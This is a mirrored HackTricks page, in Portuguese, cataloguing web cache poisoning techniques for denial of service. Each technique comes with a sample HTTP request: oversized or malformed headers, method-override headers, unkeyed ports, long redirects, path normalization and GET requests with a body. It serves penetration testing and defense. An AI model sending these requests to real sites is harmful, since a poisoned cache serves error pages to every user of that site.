mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-26 13:03:37 +00:00
150 lines
6.6 KiB
Markdown
150 lines
6.6 KiB
Markdown
# Envenenamento de Cache para DoS
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
|
|
{% hint style="danger" %}
|
|
Nesta página, você pode encontrar diferentes variações para tentar fazer o **servidor web responder com erros** a solicitações que são **válidas para os servidores de cache**
|
|
{% endhint %}
|
|
|
|
* **Tamanho Excessivo de Cabeçalho HTTP (HHO)**
|
|
|
|
Envie uma solicitação com um tamanho de cabeçalho maior do que o suportado pelo servidor web, mas menor do que o suportado pelo servidor de cache. O servidor web responderá com um código de resposta 400 que pode ser armazenado em cache:
|
|
```
|
|
GET / HTTP/1.1
|
|
Host: redacted.com
|
|
X-Oversize-Hedear:Big-Value-000000000000000
|
|
```
|
|
* **Caractere Meta HTTP (HMC) e valores inesperados**
|
|
|
|
Envie um cabeçalho que contenha alguns **caracteres meta prejudiciais** como `\n` e `\r`. Para que o ataque funcione, você deve primeiro burlar o cache.
|
|
```
|
|
GET / HTTP/1.1
|
|
Host: redacted.com
|
|
X-Meta-Hedear:Bad Chars\n \r
|
|
```
|
|
Um cabeçalho mal configurado poderia ser apenas `\:` como um cabeçalho.
|
|
|
|
Isso também poderia funcionar se valores inesperados forem enviados, como um Content-Type inesperado:
|
|
```
|
|
GET /anas/repos HTTP/2
|
|
Host: redacted.com
|
|
Content-Type: HelloWorld
|
|
```
|
|
* **Cabeçalho sem chave**
|
|
|
|
Alguns sites retornarão um código de status de erro se **virem alguns cabeçalhos específicos** na solicitação, como o cabeçalho _X-Amz-Website-Location-Redirect: someThing_:
|
|
```
|
|
GET /app.js HTTP/2
|
|
Host: redacted.com
|
|
X-Amz-Website-Location-Redirect: someThing
|
|
|
|
HTTP/2 403 Forbidden
|
|
Cache: hit
|
|
|
|
Invalid Header
|
|
```
|
|
* **Ataque de Substituição de Método HTTP (HMO)**
|
|
|
|
Se o servidor suporta a alteração do método HTTP com cabeçalhos como `X-HTTP-Method-Override`, `X-HTTP-Method` ou `X-Method-Override`. É possível solicitar uma página válida alterando o método para um que o servidor não suporta, fazendo com que uma resposta ruim seja armazenada em cache:
|
|
```
|
|
GET /blogs HTTP/1.1
|
|
Host: redacted.com
|
|
HTTP-Method-Override: POST
|
|
```
|
|
* **Porta não chaveada**
|
|
|
|
Se a porta no cabeçalho do Host for refletida na resposta e não estiver incluída na chave de cache, é possível redirecioná-la para uma porta não utilizada:
|
|
```
|
|
GET /index.html HTTP/1.1
|
|
Host: redacted.com:1
|
|
|
|
HTTP/1.1 301 Moved Permanently
|
|
Location: https://redacted.com:1/en/index.html
|
|
Cache: miss
|
|
```
|
|
* **Long Redirect DoS**
|
|
|
|
Assim como no exemplo a seguir, x não está sendo armazenado em cache, então um atacante poderia abusar do comportamento de resposta de redirecionamento para fazer com que o redirecionamento envie uma URL tão grande que retorne um erro. Em seguida, as pessoas que tentarem acessar a URL sem a chave x não armazenada em cache receberão a resposta de erro:
|
|
```
|
|
GET /login?x=veryLongUrl HTTP/1.1
|
|
Host: www.cloudflare.com
|
|
|
|
HTTP/1.1 301 Moved Permanently
|
|
Location: /login/?x=veryLongUrl
|
|
Cache: hit
|
|
|
|
GET /login/?x=veryLongUrl HTTP/1.1
|
|
Host: www.cloudflare.com
|
|
|
|
HTTP/1.1 414 Request-URI Too Large
|
|
CF-Cache-Status: miss
|
|
```
|
|
* **Normalização de maiúsculas e minúsculas no cabeçalho do host**
|
|
|
|
O cabeçalho do host deve ser insensível a maiúsculas e minúsculas, mas alguns sites esperam que ele esteja em minúsculas, retornando um erro se não estiver:
|
|
```
|
|
GET /img.png HTTP/1.1
|
|
Host: Cdn.redacted.com
|
|
|
|
HTTP/1.1 404 Not Found
|
|
Cache:miss
|
|
|
|
Not Found
|
|
```
|
|
* **Normalização de caminho**
|
|
|
|
Algumas páginas retornarão códigos de erro enviando dados URLencode no caminho, no entanto, o servidor de cache fará o URLdecode do caminho e armazenará a resposta para o caminho URLdecoded:
|
|
```
|
|
GET /api/v1%2e1/user HTTP/1.1
|
|
Host: redacted.com
|
|
|
|
|
|
HTTP/1.1 404 Not Found
|
|
Cach:miss
|
|
|
|
Not Found
|
|
```
|
|
* **Fat Get**
|
|
|
|
Alguns servidores de cache, como o Cloudflare, ou servidores web, param solicitações GET com um corpo, então isso poderia ser abusado para armazenar em cache uma resposta inválida:
|
|
```
|
|
GET /index.html HTTP/2
|
|
Host: redacted.com
|
|
Content-Length: 3
|
|
|
|
xyz
|
|
|
|
|
|
HTTP/2 403 Forbidden
|
|
Cache: hit
|
|
```
|
|
## Referências
|
|
|
|
* [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52)
|
|
* [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|